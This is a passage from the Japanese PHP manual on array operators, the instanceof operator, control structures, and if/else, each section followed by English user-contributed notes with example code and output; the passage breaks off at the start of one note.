+ 演算子は、右側の配列を左側の配列に追加したものを返します。 両方の配列に存在するキーについては左側の配列の要素が優先され、 右側の配列にあった同じキーの要素は無視されます。

<?php
$a = array("a" => "apple", "b" => "banana");
$b = array("a" => "pear", "b" => "strawberry", "c" => "cherry");

$c = $a + $b; // Union of $a and $b
echo "Union of \$a and \$b: \n";
var_dump($c);

$c = $b + $a; // Union of $b and $a
echo "Union of \$b and \$a: \n";
var_dump($c);

$a += $b; // Union of $a += $b is $a and $b
echo "Union of \$a += \$b: \n";
var_dump($a);
?>
このスクリプトを実行すると、以下のように出力されます。
Union of $a and $b:
array(3) {
  ["a"]=>
  string(5) "apple"
  ["b"]=>
  string(6) "banana"
  ["c"]=>
  string(6) "cherry"
}
Union of $b and $a:
array(3) {
  ["a"]=>
  string(4) "pear"
  ["b"]=>
  string(10) "strawberry"
  ["c"]=>
  string(6) "cherry"
}
Union of $a += $b:
array(3) {
  ["a"]=>
  string(5) "apple"
  ["b"]=>
  string(6) "banana"
  ["c"]=>
  string(6) "cherry"
}

同じキーと値を保持している場合に、配列が等しいとみなされます。

例1 配列の比較

<?php
$a = array("apple", "banana");
$b = array(1 => "banana", "0" => "apple");

var_dump($a == $b); // bool(true)
var_dump($a === $b); // bool(false)
?>

参考

  • 配列
  • 配列関数

User Contributed Notes

drone dot ah at gmail dot com 06-Oct-2017 09:51
The note about array comparison by Q1712 is not entirely accurate.

"The identical operator just requires that the keys are in the same order in both arrays:"

This may have been the case in past (I cannot verify it). It requires that the keys are in the same order AND that the values match

To extend that example

<?php

  $a = array (0 => "apple", 1 => "banana");
  $b = array (1 => "banana", 0 => "apple");

  var_dump($a === $b); // prints bool(false) as well

  $b = array ("0" => "apple", "1" => "banana");

  var_dump($a === $b); // prints bool(true)

  $b = array ("0" => "apple-1", "1" => "banana-1");

  var_dump($a === $b); // prints bool(false)

?>
xtpeqii at Hotmail dot com 21-Sep-2017 08:02
$a=[ 3, 2, 1];
$b=[ 6, 5, 4];
var_dump( $a + $b );

output:
array(3) {
  [0]=>
  int(3)
  [1]=>
  int(2)
  [2]=>
  int(1)
}

The reason for the above output is that EVERY array in PHP is an associative one.
Since the 3 elements in $b have the same keys( or numeric indices ) as those in $a, those elements in $b are ignored by the union operator.
Anonymous 29-Jan-2014 12:23
The manual say ...

"The + operator appends the right elements in the array from left, whereas duplicated keys are NOT overwritten"

but ..

$a = array("a" => 'A', "b" => 'B');
$b = array("a" => 'A', "b" => 'B', "c" => 'C');

$c = $a + $b // or $b + a  is  the same output;

echo '<pre>';

print_r($c);

echo '<pre>';

//Output   for  $a + b  or  $b + a
Array (
    [a] => A
    [b] => B
    [c] => C
)
sd6733531 at gmail dot com 30-Mar-2013 07:18
Look out use + with array combine.

$arr = array(1, 2, 3);
$int=345;
$arr=$arr+$int;

Of couse,use + to combine array is easy and readable.
But if one of the variable is not array type(like above code) ,that would make a PHP Fatal Error:
PHP Fatal error:  Unsupported operand types
Maybe should do check before.
Dan Patrick 04-Mar-2012 06:39
It should be mentioned that the array union operator functions almost identically to array_replace with the exception that precedence of arguments is reversed.
cb at netalyst dot com 15-Oct-2008 11:39
The union operator did not behave as I thought it would on first glance. It implements a union (of sorts) based on the keys of the array, not on the values.

For instance:
<?php
$a = array('one','two');
$b=array('three','four','five');

//not a union of arrays' values
echo '$a + $b : ';
print_r ($a + $b);

//a union of arrays' values
echo "array_unique(array_merge($a,$b)):";
// cribbed from http://oreilly.com/catalog/progphp/chapter/ch05.html
print_r (array_unique(array_merge($a,$b)));
?>

//output

$a + $b : Array
(
    [0] => one
    [1] => two
    [2] => five
)
array_unique(array_merge(Array,Array)):Array
(
    [0] => one
    [1] => two
    [2] => three
    [3] => four
    [4] => five
)
csaba at alum dot mit dot edu 24-Jun-2008 08:54
Simple array arithmetic:
A more compact way of adding or subtracting the elements at identical keys...

<?php
function array_add($a1, $a2) {  // ...
  // adds the values at identical keys together
  $aRes = $a1;
  foreach (array_slice(func_get_args(), 1) as $aRay) {
    foreach (array_intersect_key($aRay, $aRes) as $key => $val) $aRes[$key] += $val;
    $aRes += $aRay; }
  return $aRes; }

function array_subtract($a1, $a2) {  // ...
  // adds the values at identical keys together
  $aRes = $a1;
  foreach (array_slice(func_get_args(), 1) as $aRay) {
    foreach (array_intersect_key($aRay, $aRes) as $key => $val) $aRes[$key] -= $val;
    foreach (array_diff_key($aRay, $aRes) as $key => $val) $aRes[$key] = -$val; }
  return $aRes; }

Example:
$a1 = array(9, 8, 7);
$a2 = array(1=>7, 6, 5);
$a3 = array(2=>5, 4, 3);

$aSum = array_add($a1, $a2, $a3);
$aDiff = array_subtract($a1, $a2, $a3);

// $aSum  => [9, 15, 18, 9, 3]
// $aDiff => [9, 1, -4, -9, -3]
?>

To make a similar function, array_concatenate(), change only the first of the two '+=' in array_add() to '.='
Csaba Gabor from Vienna
Q1712 at online dot ms 20-Apr-2007 05:54
The example may get u into thinking that the identical operator returns true because the key of apple is a string but that is not the case, cause if a string array key is the standart representation of a integer it's gets a numeral key automaticly.

The identical operator just requires that the keys are in the same order in both arrays:

<?php
$a = array (0 => "apple", 1 => "banana");
$b = array (1 => "banana", 0 => "apple");

var_dump($a === $b); // prints bool(false) as well

$b = array ("0" => "apple", "1" => "banana");

var_dump($a === $b); // prints bool(true)
?>
puneet singh @ value-one dot com 18-Jan-2006 10:42
hi  just see one more example of union....

<?php
$a = array(1,2,3);
$b = array(1,7,8,9,10);
$c = $a + $b; // Union of $a and $b
echo "Union of \$a and \$b: \n";
//echo $c
print_r($c);
?>
//output
Union of $a and $b: Array ( [0] => 1 [1] => 2 [2] => 3 [3] => 9 [4] => 10 )
kit dot lester at lycos dot co dot uk 21-Aug-2005 09:01
When comparing arrays that have (some or all) element-values that are themselves array, then in PHP5 it seems that == and === are applied recursively - that is
 * two arrays satisfy == if they have the same keys, and the values at each key satisfy == for whatever they happen to be (which might be arrays);
 * two arrays satisfy === if they have the same keys, and the values at each key satisfy === for whatever (etc.).

Which explains what happens if we compare two arrays of arrays of arrays of...

Likewise, the corresponding inversions for != <> and !==.

I've tested this to array-of-array-of-array, which seems fairly convincing. I've not tried it in PHP4 or earlier.
kit dot lester at lycos dot co dot uk 21-Aug-2005 08:44
This manual page doesn't mention < & co for arrays, but example 15-2 in
    http://www.php.net/manual/en/language.operators.comparison.php
goes to some lengths to explain how they work.
dfranklin at fen dot com 22-Apr-2004 01:40
Note that + will not renumber numeric array keys.  If you have two numeric arrays, and their indices overlap, + will use the first array's values for each numeric key, adding the 2nd array's values only where the first doesn't already have a value for that index.  Example:

$a = array('red', 'orange');
$b = array('yellow', 'green', 'blue');
$both = $a + $b;
var_dump($both);

Produces the output:

array(3) { [0]=>  string(3) "red" [1]=>  string(6) "orange" [2]=>  string(4) "blue" }

To get a 5-element array, use array_merge.

    Dan
amirlaher AT yahoo DOT co SPOT uk 09-Dec-2002 10:41
[]= could be considered an Array Operator (in the same way that .= is a String Operator).
[]= pushes an element onto the end of an array, similar to array_push:
<?
  $array= array(0=>"Amir",1=>"needs");
  $array[]= "job";
  print_r($array);
?>
Prints: Array ( [0] => Amir [1] => needs [2] => job )


型演算子

instanceof を使用して、 ある PHP 変数が特定の クラス のオブジェクトのインスタンスであるかどうかを調べます。

例1 クラスでの instanceof の使用法

<?php
class MyClass
{
}

class NotMyClass
{
}
$a = new MyClass;

var_dump($a instanceof MyClass);
var_dump($a instanceof NotMyClass);
?>

上の例の出力は以下となります。

bool(true)
bool(false)

instanceof は、ある変数が 特定の親クラスを継承したクラスのオブジェクトのインスタンスであるかどうかを調べることもできます。

例2 継承したクラスでの instanceof の使用法

<?php
class ParentClass
{
}

class MyClass extends ParentClass
{
}

$a = new MyClass;

var_dump($a instanceof MyClass);
var_dump($a instanceof ParentClass);
?>

上の例の出力は以下となります。

bool(true)
bool(true)

あるオブジェクトが特定のクラスのインスタンスで ない ことを調べるには、 論理 否定 演算子 を使用します。

例3 instanceof を使用して、オブジェクトがクラスのインスタンスで ない かどうかを調べる方法

<?php
class MyClass
{
}

$a = new MyClass;
var_dump(!($a instanceof stdClass));
?>

上の例の出力は以下となります。

bool(true)

最後に、instanceof は、ある変数が特定の インターフェイス を実装したクラスのオブジェクトのインスタンスであるかどうかも調べることができます。

例4 インターフェイスでの instanceof の使用法

<?php
interface MyInterface
{
}

class MyClass implements MyInterface
{
}

$a = new MyClass;

var_dump($a instanceof MyClass);
var_dump($a instanceof MyInterface);
?>

上の例の出力は以下となります。

bool(true)
bool(true)

通常、instanceof ではリテラルのクラス名を使用しますが、 別のオブジェクトや文字列変数を使用することもできます。

例5 変数を用いた instanceof の使用法

<?php
interface MyInterface
{
}

class MyClass implements MyInterface
{
}

$a = new MyClass;
$b = new MyClass;
$c = 'MyClass';
$d = 'NotMyClass';

var_dump($a instanceof $b); // $b MyClass クラスのオブジェクトです
var_dump($a instanceof $c); // $c は文字列 'MyClass' です
var_dump($a instanceof $d); // $d は文字列 'NotMyClass' です
?>

上の例の出力は以下となります。

bool(true)
bool(true)
bool(false)

instanceof は、もし確かめる変数がオブジェクトでなくてもエラーになりません。単に false を返すだけです。ただし、PHP 7.3.0 以前では、定数を調べることはできませんでした。

例6 instanceof での他の変数の調べかた

<?php
$a = 1;
$b = NULL;
$c = imagecreate(5, 5);
var_dump($a instanceof stdClass); // $a は配列です
var_dump($b instanceof stdClass); // $b は NULL です
var_dump($c instanceof stdClass); // $c はリソースです
var_dump(FALSE instanceof stdClass);
?>

上の例の出力は以下となります。

bool(false)
bool(false)
bool(false)
PHP Fatal error:  instanceof expects an object instance, constant given

PHP 7.3.0 以降では、 instanceof の左辺値に定数を指定できるようになりました。

例7 instanceof を使って定数を確認する

<?php
var_dump(FALSE instanceof stdClass);
?>

上の例の PHP 7.3 での出力は、このようになります。

bool(false)

instanceof 演算子は、is_a() 関数とは機能的に異なる部分があります。

参考

  • get_class()
  • is_a()

User Contributed Notes

ASchmidt at Anamera dot net 20-Jan-2020 06:43
Using an undefined variable will result in an error.

If variable is in doubt, one must prequalify:

    if ( isset( $MyInstance ) and $MyInstance instanceof MyClass ) ...
waahhhh 18-Dec-2019 10:07
The first parameter must be an object instance.

example:
<?php

class A {}
class B extends A {}

var_dump(A::class instanceof B); // false
var_dump(B::class instanceof A); // false
var_dump(new B() instanceof A); // true
Hayley Watson 04-Nov-2017 11:39
If you want to use "$foo instanceof $bar" to determine if two objects are the same class, remember that "instanceof" will also evaluate to true if $foo is an instance of a _subclass_ of $bar's class.

If you really want to see if they are the _same_ class, then they both have to be instances of each other's class. That is:
<?php

($foo instanceof $bar && $bar instanceof $foo)

?>

Consider it an alternative to "get_class($bar) == get_class($foo)" that avoids the detour through to string lookups and comparisons.
wadih at creationmw dot com 29-Jul-2017 08:41
Doing $a instanceof stdClass from inside a namespace will not work on its own.

You will have to do:

<?php
if ($a instanceof \stdClass)
?>
CH 15-Jan-2014 02:00
You can use instanceof also for interfaces.
dava 11-Dec-2013 05:52
You are also able to compare 2 objects using instanceOf. In that case, instanceOf will compare the types of both objects. That is sometimes very useful:

<?php

class A { }
class B { }

$a = new A;
$b = new B;
$a2 = new A;

echo $a instanceOf $a; // true
echo $a instanceOf $b; // false
echo $a instanceOf $a2; // true

?>
info at pkrules dot in 29-Oct-2013 11:08
use this to check instance of or you can add the else part inside the if making it nested if for dual varification.:-
<?php
class MyClass{}
class Test extends MyClass{
public function checkObjectArray(array $array,$classname,$strict=false){
if(!$strict){
foreach($array as $element){
 if(!($element instanceOf $classname)){//we can use typehint objects
INSIDE an array
 echo "false";
 echo "<br />";
 break;
 }
 else{
 print "<br />true (if)";
 }
}
}
else{
foreach($array as $element){
if(get_class($element)!=$classname){// or we can use this function to
check the classes inside this array
echo "false (else)";
}
}
}
echo "<br />true";
}
}
$ob=new Test;

$a=new MyClass();
$array=array($a);
$ob->checkObjectArray($array,'MyClass');
?>
knarlin at yahoo dot com dot au 28-Feb-2013 11:23
Checking an object is not an instance of a class, example #3 uses extraneous parentheses.

<?php
var_dump(!($a instanceof stdClass));
?>

Because instanceof has higher operator precedence than ! you can just do

<?php
var_dump( ! $a instanceof stdClass );
?>
wbcarts at juno dot com 18-May-2012 02:14
SIMPLE, CLEAN, CLEAR use of the instanceof OPERATOR

First, define a couple of simple PHP Objects to work on -- I'll introduce Circle and Point. Here's the class definitions for both:

<?php

class Circle
{
  protected $radius = 1.0;

  /*
   * This function is the reason we are going to use the
   * instanceof operator below.
   */
  public function setRadius($r)
  {
    $this->radius = $r;
  }

  public function __toString()
  {
    return 'Circle [radius=' . $this->radius . ']';
  }
}

class Point
{
  protected $x = 0;
  protected $y = 0;

  /*
   * This function is the reason we are going to use the
   * instanceof operator below.
   */
  public function setLocation($x, $y)
  {
    $this->x = $x;
    $this->y = $y;
  }

  public function __toString()
  {
    return 'Point [x=' . $this->x . ', y=' . $this->y . ']';
  }
}

?>

Now instantiate a few instances of these types. Note, I will put them in an array (collection) so we can iterate through them quickly.

<?php

$myCollection = array(123, 'abc', 'Hello World!',
  new Circle(), new Circle(), new Circle(),
  new Point(), new Point(), new Point());

$i = 0;
foreach($myCollection AS $item)
{
  /*
   * The setRadius() function is written in the Circle class
   * definition above, so make sure $item is an instance of
   * type Circle BEFORE calling it AND to avoid PHP PMS!
   */
  if($item instanceof Circle)
  {
    $item->setRadius($i);
  }

  /*
   * The setLocation() function is written in the Point class
   * definition above, so make sure $item is an instance of
   * type Point BEFORE calling it AND to stay out of the ER!
   */
  if($item instanceof Point)
  {
    $item->setLocation($i, $i);
  }

  echo '$myCollection[' . $i++ . '] = ' . $item . '<br>';
}

?>

$myCollection[0] = 123
$myCollection[1] = abc
$myCollection[2] = Hello World!
$myCollection[3] = Circle [radius=3]
$myCollection[4] = Circle [radius=4]
$myCollection[5] = Circle [radius=5]
$myCollection[6] = Point [x=6, y=6]
$myCollection[7] = Point [x=7, y=7]
$myCollection[8] = Point [x=8, y=8]
Sudarshan Wadkar 15-Dec-2011 04:34
I don't see any mention of "namespaces" on this page so I thought I would chime in. The instanceof operator takes FQCN as second operator when you pass it as string and not a simple class name. It will not resolve it even if you have a `use MyNamespace\Bar;` at the top level. Here is what I am trying to say:

## testinclude.php ##
<?php
namespace Bar1;
{
class Foo1{ }
}
namespace Bar2;
{
class Foo2{ }
}
?>
## test.php ##
<?php
include('testinclude.php');
use Bar1\Foo1 as Foo;
$foo1 = new Foo(); $className = 'Bar1\Foo1';
var_dump($foo1 instanceof Bar1\Foo1);
var_dump($foo1 instanceof $className);
$className = 'Foo';
var_dump($foo1 instanceof $className);
use Bar2\Foo2;
$foo2 = new Foo2(); $className = 'Bar2\Foo2';
var_dump($foo2 instanceof Bar2\Foo2);
var_dump($foo2 instanceof $className);
$className = 'Foo2';
var_dump($foo2 instanceof $className);
?>
## stdout ##
bool(true)
bool(true)
bool(false)
bool(true)
bool(true)
bool(false)
fbableus 18-Mar-2011 06:05
If you want to test if a classname is an instance of a class, the instanceof operator won't work.

<?php
$classname = 'MyClass';
if( $classname instanceof MyParentClass) echo 'Child of it';
else echo 'Not child of it';
?>

Will always output
Not child of it

You must use a ReflectionClass :
<?php
$classname = 'MyClass';
$myReflection = new ReflectionClass($classname);
if( $myReflection->isSubclassOf('MyParentClass')) echo  'Child of it';
else echo 'Not child of it';
?>

Will output the good result.
If you're testing an interface, use implementsInterface() instead of isSublassOf().
mauritsdajong at gmail dot com 13-Aug-2010 03:38
Sometimes you want to typehint objects INSIDE an array, but I think you can't.

Instead, you can use this function to check the classes inside this array:

<?php

public checkObjectsArray(array $array, $classname, $strict = false) {
    if (!$strict) {
        foreach ($array as $element) {
            if (!($element instanceof $classname)) {
                return false;
            }
        }
    }
    else {
        foreach ($array as $element) {
            if (get_class($element) != $classname) {
                return false;
            }
        }
    }
    return true;
}

?>
phil dot taylor at gmail dot com 15-Jul-2010 04:13
It seems like instanceOf is using a string comparison. Longer class names take longer to check in conditional statements

eg.

if ($f instanceOf HelloWorldTestClass)

is much slower than

if ($f instanceOf HWT)
jtaal at eljakim dot nl 17-Nov-2008 05:37
You can use "self" to reference to the current class:

<?php
class myclass {
    function mymethod($otherObject) {
        if ($otherObject instanceof self) {
            $otherObject->mymethod(null);
        }
        return 'works!';
    }
}

$a = new myclass();
print $a->mymethod($a);
?>
kevin dot benton at beatport dot com 21-Aug-2008 09:31
Example #5 could also be extended to include...

var_dump($a instanceof MyInterface);

The new result would be

bool(true)

So - instanceof is smart enough to know that a class that implements an interface is an instance of the interface, not just the class.  I didn't see that point made clearly enough in the explanation at the top.
ejohnson82 at gmail dot com 18-Jan-2008 01:59
The PHP parser generates a parse error on either of the two lines that are commented out here.
Apparently the 'instanceof' construct will take a string variable in the second spot, but it will NOT take a string... lame

class Bar {}
$b = new Bar;
$b_class = "Bar";
var_export($b instanceof Bar); // this is ok
var_export($b instanceof $b_class); // this is ok
//var_export($f instanceof "Bar"); // this is syntactically illegal
//var_export($f instanceof 'Bar'); // this is syntactically illegal
julien plee using g mail dot com 20-Jul-2007 06:56
Response to vinyanov at poczta dot onet dot pl:

You mentionned "the instanceof operator will not accept a string as its first operand". However, this behavior is absolutely right and therefore, you're misleading the meaning of an instance.

<?php 'ClassA' instanceof 'ClassB'; ?> means "the class named ClassA is an instance of the class named ClassB". This is a nonsense sentence because when you instanciate a class, you ALWAYS obtain an object. Consequently, you only can ask if an object is an instance of a class.

I believe asking if "a ClassA belongs to a ClassB" (or "a ClassA is a class of (type) ClassB") or even "a ClassA is (also) a ClassB" is more appropriate. But the first is not implemented and the second only works with objects, just like the instanceof operator.

Plus, I just have tested your code and it does absolutely NOT do the same as instanceof (extended to classes)! I can't advise anyone to reuse it. The use of <?php is_instance_of ($instanceOfA, 'ClassB'); ?> raises a warning "include_once(Object id #1.php) ..." when using __autoload (trying to look for $instanceOfA as if it was a class name).

Finally, here is a fast (to me) sample function code to verify if an object or class:

<?php
function kind_of (&$object_or_class, $class)
{
    return is_object ($object_or_class) ?
        $object_or_class instanceof $class
        : (is_subclass_of ($object_or_class $class)
           || strtolower ($object_or_class) == strtolower ($class));
}
?>
jphaas at gmail dot com 11-Jul-2007 10:50
Posting this so the word typeof appears on this page, so that this page will show up when you google 'php typeof'.  ...yeah, former Java user.
jeanyves dot terrien at orange-ftgroup dot com 13-Mar-2007 12:34
Cross version function even if you are working in php4
(instanceof is an undefined operator for php4)

   function isMemberOf($classename) {
      $ver = floor(phpversion());
      if($ver > 4) {
         $instanceof = create_function ('$obj,$classname','return $obj instanceof $classname;');
         return $instanceof($this,$classname);
      } else {
         // Php4 uses lowercase for classname.
         return is_a($this, strtolower($classname));
      }
   } // end function isMemberOf
soletan at toxa dot de 03-Mar-2007 04:04
Please note: != is a separate operator with separate semantics. Thinking about language grammar it's kind of ridicilous to negate an operator. Of course, it's possible to negate the result of a function (like is_a()), since it isn't negating the function itself or its semantics.

instanceof is a binary operator, and so used in binary terms like this

terma instanceof termb

while ! (negation) is a unary operator and so may be applied to a single term like this

!term

And a term never consists of an operator, only! There is no such construct in any language (please correct me!). However, instanceof doesn't finally support nested terms in every operand position ("terma" or "termb" above) as negation does:

!!!!!!!!!!!!!!term == term

So back again, did you ever write

a !!!!!!!!!!!!= b

to test equivalence?
archanglmr at yahoo dot com 17-Feb-2005 06:37
Negated instanceof doesn't seem to be documented. When I read instanceof I think of it as a compairson operator (which I suppose it's not).

<?php
class A {}
class X {}

//parse error from !
if (new X !instanceof A) {
    throw new Exception('X is not an A');
}
//proper way to negate instanceof ?
if (!(new X instanceof A)) {
    throw new Exception('X is not an A');
}
?>
d dot schneider at 24you dot de 18-Dec-2004 12:42
use this for cross-version development...

<?php

function is_instance_of($IIO_INSTANCE, $IIO_CLASS){
    if(floor(phpversion()) > 4){
        if($IIO_INSTANCE instanceof $IIO_CLASS){
            return true;
            }
        else{
            return false;
            }
        }
    elseif(floor(phpversion()) > 3){
        return is_a($IIO_INSTANCE, $IIO_CLASS);
        }
    else{
        return false;
        }
    }

?>


制御構造

目次

  • はじめに
  • if
  • else
  • elseif/else if
  • 制御構造に関する別の構文
  • while
  • do-while
  • for
  • foreach
  • break
  • continue
  • switch
  • match
  • declare
  • return
  • require
  • include
  • require_once
  • include_once
  • goto

User Contributed Notes

Anonymous 04-Aug-2017 09:52
This is list is missing a link for:
try ... catch ... finally
blocks.

You will find this critical language construct hidden away in the "Exceptions" chapter.

And, even though being very verbose and admittedly having useful code examples, that Exceptions chapter actually never formally defines the syntax of the catch block. Per example, if we don't care about accessing the Exception object, one might attempt:

   try { ... } catch { ... } ...

or even:

   try { ... } catch() { ... } ...

Apparently the only acceptable syntax is:

   try { ... }
    catch( \Exception | OptionalMyExceptions-1 | ... $exception_instance ) { ... }
    /* optional additional catch blocks */
    catch( ... ) { ... }
    ...
    /* optional finally block */
    finally { ... }


はじめに

すべての PHP スクリプトは、一連の文からなります。 文としては、代入、関数コール、ループ、条件文、そして何もしない文(空の文) さえ使用することができます。 文は、通常セミコロンで終了します。加えて、文は、中括弧によるグループ文で カプセル化することによりグループ化することが可能です。 グループ文は、同時に文にもなります。 本章では、様々な文の型について説明します。

参考

以下は、このマニュアルで関数として参照されていますが、言語構造の一部とも見なされています。

  • list()
  • array()
  • echo
  • eval()
  • print

User Contributed Notes

There are no user contributed notes for this page.


if

(PHP 4, PHP 5, PHP 7, PHP 8)

if 構文は、PHP を含む全ての言語において最も重要な 機能の一つです。 この構文は、命令の条件実行を可能にします。 PHP では、C 言語に似た次のような if 構文が使用されます。

if (式)
  文

式のセクションで 記述したように式は論理値で評価されます。 式が true と評価された場合、 PHP は文を実行します。false と評価された場合は、これを無視します。どのような値が false と評価されるかについては論理値への変換 を参照してください。

以下の例は、$a が $b より大きい場合、aはbより大きい を表示します。

<?php
if ($a > $b)
  echo "aはbより大きい";
?>

条件分岐させたい文が一つ以上ある場合もしばしばあります。 もちろん、各々の文をif 文で括る必要はありません。 代わりに、複数の文をグループ化することができます。 例えば、このコードは、$a が $b よりも大きい場合に aはbよりも大きいを表示し、 $a の値を $b に 代入します。

<?php
if ($a > $b) {
  echo "aはbより大きい";
  $b = $a;
}
?>

if文は、他のif文の中で無限に入れ子にできます。 これは、プログラムの様々な部分の条件付実行について 完全な柔軟性を提供します。

User Contributed Notes

mparsa1372 at gmail dot com 11-Mar-2021 06:05
<?php

//Print the day or night message by if command

$t = date("H");

if ($t < "20") {
  echo "Have a good day !";
    if ($t > "20") {
    echo "Have a good Night!";
    }
  }

?>
kemalcelikturk at gmail dot com 30-Jan-2021 12:38
Normal if example;

if($value["cargostatus"]==0):

     echo 'In the Procurement Process';

 elseif ($value["cargostatus"]==1):

     echo 'In packaging';

 elseif ($value["cargostatus"]==2):

     echo 'In cargo';

 else:
     echo 'not specified';
 endif;

Multiple comparison operator example in a single line;

($value["cargostatus"] == "0") ? 'In the Procurement Process' : (($value["cargostatus"] == "1") ? 'In packaging
' : (($value["cargostatus"] == "2") ? 'In cargo' : 'not specified'))

What should not be forgotten;
After the first query, a parenthesis will be added to the end of each comparison.
aliashour592 at gmail dot com 15-Aug-2020 11:14
//to use if condition and html together

<?php if(condition) : ?>

// just html code

<?php  elseif( condition ): ?>

// just html code

<?php  else: ?>
// just html code
<?php endif?>
Ahmed Youssef Elshrief 26-Jun-2020 11:03
You can use this syntax :

 if (condition):

     // your code

else if:

  // your code

else:
  // Your code

endif ;
cole dot trumbo at nospamthnx dot gmail dot com 31-May-2017 05:41
Any variables defined inside the if block will be available outside the block. Remember that the if doesn't have its own scope.

<?php
$bool = true;
if ($bool) {
    $hi = 'Hello to all people!';
}
echo $hi;
?>

It will print 'Hello to all people!'

On the other hand, this will have no output:

<?php
if (false) {
    $hi = 'Hello to all people!';
}
echo $hi;
?>
robk 20-May-2013 01:02
easy way to execute conditional html / javascript / css / other language code with php if else:

<?php if (condition): ?>

html code to run if condition is true

<?php else: ?>

html code to run if condition is false

<?php endif ?>
Donny Nyamweya 11-Feb-2011 08:30
In addition to the traditional syntax for if (condition) action;
I am fond of the ternary operator that does the same thing, but with fewer words and code to type:

(condition ? action_if_true: action_if_false;)

example

(x > y? 'Passed the test' : 'Failed the test')
Christian L. 25-Jan-2011 10:58
An other way for controls is the ternary operator (see Comparison Operators) that can be used as follows:

<?php
$v = 1;

$r = (1 == $v) ? 'Yes' : 'No'; // $r is set to 'Yes'
$r = (3 == $v) ? 'Yes' : 'No'; // $r is set to 'No'

echo (1 == $v) ? 'Yes' : 'No'; // 'Yes' will be printed

// and since PHP 5.3
$v = 'My Value';
$r = ($v) ?: 'No Value'; // $r is set to 'My Value' because $v is evaluated to TRUE

$v = '';
echo ($v) ?: 'No Value'; // 'No Value' will be printed because $v is evaluated to FALSE
?>

Parentheses can be left out in all examples above.
techguy14 at gmail dot com 06-Jan-2011 01:39
You can have 'nested' if statements withing a single if statement, using additional parenthesis.
For example, instead of having:

<?php
if( $a == 1 || $a == 2 ) {
    if( $b == 3 || $b == 4 ) {
        if( $c == 5 || $ d == 6 ) {
             //Do something here.
        }
    }
}
?>

You could just simply do this:

<?php
if( ($a==1 || $a==2) && ($b==3 || $b==4) && ($c==5 || $c==6) ) {
    //do that something here.
}
?>

Hope this helps!
grawity at gmail dot com 10-Mar-2008 03:41
re: #80305

Again useful for newbies:

if you need to compare a variable with a value, instead of doing

<?php
if ($foo == 3) bar();
?>

do

<?php
if (3 == $foo) bar();
?>

this way, if you forget a =, it will become

<?php
if (3 = $foo) bar();
?>

and PHP will report an error.


else

(PHP 4, PHP 5, PHP 7, PHP 8)

ある条件が満たされている場合にある文を実行し、 その条件が満たされていない場合に別の文を実行したいと考えた ことが度々あるかと思います。 このためにelseがあります。 elseは、if文における式の値が falseの場合にある文を 実行するようにif文を拡張します。 例えば、次のコードは、$aが $bよりも大きい場合に aはbより大きいと表示し、 そうでない場合に、 aはbよりも大きくないと表示します。

<?php
if ($a > $b) {
  echo "aはbよりも大きい";
} else {
  echo "aはbよりも大きくない";
}
?>
else 文は、if式が falseと評価された場合のみ実行されます。 また、elseif式がある場合には、それも falseと評価された場合にのみ実行されます。 (elseif参照)

User Contributed Notes

mparsa1372 at gmail dot com 11-Mar-2021 06:07
//Output "Have a good morning!" if the current time is less than 10, and "Have a good day!" if the current time is less than 20. Otherwise it will output "Have a good night!":

<?php
$t = date("H");

if ($t < "10") {
  echo "Have a good morning!";
} elseif ($t < "20") {
  echo "Have a good day!";
} else {
  echo "Have a good night!";
}
?>
mparsa1372 at gmail dot com 11-Mar-2021 06:06
//Output "Have a good day!" if the current time is less than 20, and "Have a good night!" otherwise:

<?php
$t = date("H");

if ($t < "20") {
  echo "Have a good day!";
} else {
  echo "Have a good night!";
}
?>
emmanuel dot orchanian at hotmail dot fr 24-Jun-2020 11:53
// You can remplace this :
if (...) {
    return 111 ;
} else {
    return 222 ;
}

// By this :
if (...) {
    return 111 ;
}
return 222 ;
zithronospam at remove dot gmail dot com at 25-Aug-2016 05:31
Alternate syntax is great (dont remove it!), but take care using "else:" after one liners, this wont work:
<?php
if (true):
    if (true) print('This results in a parse error (unexpected ":" on line <the_else_line>)');
else:
    if (true) { print('Replacing above line with this one also triggers a parse error, curly braces do not help in this case') }
endif; ?>

Either use the alternate syntax on the line in error: <?php if(true):print('This works as its ended by an');endif; ?>
Or write some more code on a newline between the one-liner and the following else (eg. "$var=1;" is enough, even a single semi-colon is, but read below).

A third way is to add a semi-colon to the one-liner, having two if necessary:
<?php
if (true):
    if (true) print('This is valid again');;
else:
    // ...
endif;

// It works with the curly braces form too:
if (true):
    if (true) { print('This get displayed, even if the doc says the opposite about mixing syntaxes') };
else:
    // ...
endif;
?>
I can only guess that the added semi-colon makes it work by "closing the if" in a way.
Subsequent semi-colons don't matter, and the semi-colon can be anywhere: at the end of the line, on the following line on its own, or just before the else like ";else". But who would do that anyway.

TL;DR/conclusion:
- avoid mixing alternate syntax and one liners in if/else control structures
- avoid mixing syntaxes inside the blocks (even if it works using this semi-colon trick).

================================
Note to editors: the behaviour described is specifically linked to the use of an else, but this note could also be added to the more general "Alternative syntax for control structures" page as it's also commenting on mixing syntaxes. You know better!
php at keith tyler dot com 05-Jul-2011 10:52
This is valid syntax:

<?php
if ($a) print "a is true";
else print "a is false";
?>

A holdover from the bash-style compatibility in older PHP versions, perhaps.
Larry H-C 17-Aug-2009 10:08
When you escape out of HTML, you can get an UNEXPECTED T_ELSE error with the following:

Error:

<? if( $condition ) {
        dosomething;
   }
?>

<? else {
       dosomethingelse;
   }
?>

Correct:

<? if( $condition ) {
       dosomething;
?>

<? } else {
       dosomethingelse;
   }
?>

Apparently the compiler thinks a ?> <? breaks the connection between the } and the else
Theoden 24-Apr-2008 05:42
At Caliban Darklock

I don't know if it is just improvements in the parser, but there is a negligible difference in the performance of "elseif" vs "else if" as of version 5. One thousandth of a second in your example and 8 thousandths if the eval statement is repeated 5 times.
If the constructs are in regular code, then there appears to be no difference. This leads me to believe that the difference in the eval code is from there being an extra parser token.

Also the main performance burden of recursive functions is the stack operations of changing the context. In this case I believe that it would parse to very similar (if not identical) jmp controls.

In summary, use your preference. Readability and maintainability rank far higher on the priority scale.

One Additional note, there appears to be a limit of the number of "else if" statements (perhaps nested statements in general) that php will handle before starting to get screwy. This limit is about 1100. "elseif" is not affected by this.
dormeydo at gmail dot com 12-Apr-2008 04:51
An alternative and very useful syntax is the following one:

statement ? execute if true : execute if false

Ths is very usefull for dynamic outout inside strings, for example:

print('$a is ' . ($a > $b ? 'bigger than' : ($a == $b ? 'equal to' : 'smaler than' )) .  '  $b');

This will print "$a is smaler than $b" is $b is bigger than $a, "$a is bigger than $b" if $a si bigger and "$a is equal to $b" if they are same.
mitch at mitchellbeaumont dot com 24-Jul-2007 12:09
At gwmpro at yahoo dot com

